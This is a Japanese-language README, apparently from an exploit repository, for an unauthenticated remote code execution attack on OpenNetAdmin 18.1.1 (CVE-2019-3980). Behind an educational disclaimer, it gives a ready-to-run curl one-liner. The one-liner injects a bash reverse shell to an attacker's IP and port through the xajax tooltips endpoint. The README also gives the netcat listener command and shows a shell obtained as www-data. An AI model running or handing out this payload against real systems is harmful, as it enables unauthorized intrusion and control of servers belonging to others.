
Bashベースのエクスプロイト、CVE-2019-3980を対象とし、OpenNetAdmin 18.1.1に対するもので、コマンドインジェクションとリバースシェルを介した未認証のリモートコード実行を実現します。
⚠️ 免責事項
このリポジトリは教育および研究目的のみに使用されることを意図しています。
ここで提供される情報とコードは、プライベートラボマシンなどの管理された環境でのみ使用できます。
あなたが所有していない、または明示的な許可を得ていないシステムに対してこのコードを不正に使用することは、違法かつ非倫理的です。
著者は、誤用や損害について一切の責任を負いません。
OpenNetAdmin 18.1.1 に、xajax AJAXリクエストインターフェースを介したリモートコード実行の脆弱性が存在します。
この脆弱性は、不適切な入力サニタイズに起因し、/ona/ への細工されたPOSTリクエストを介してコマンドインジェクションを可能にします。
このエクスプロイトは tooltips プラグインを利用して、攻撃者のリスナーにリバースシェルを送り込みます。
xajaxargs[]curl 使用)このカスタマイズされたBashワンライナーは、注入されたリバースシェルコードを伴うPOSTリクエストを、脆弱性のある xajax=window_submit エンドポイントに送信します。
#!/bin/bash
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<YOUR-IP>%2F<YOUR-PORT>%200%3E%261%22;echo \"END\"&xajaxargs[]=ping" "http://<TARGET-IP>/ona/" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
🛠️ 注意:
<YOUR-IP>と<YOUR-PORT>を、ご自身のNetcatリスナーのIPとポートに置き換えてください。
リスナーは以下で起動します:
nc -nlvp <PORT>

脆弱なOpenNetAdminインターフェースとバージョンのスクリーンショット。
bash shell.sh

スクリプトの実行によりペイロードがトリガーされているスクリーンショット。
nc -nlvp <PORT>

www-dataとして取得されたリバースシェル。
詳細な解説と理論は私のMedium記事をご覧ください:
👉 Mediumでブログを読む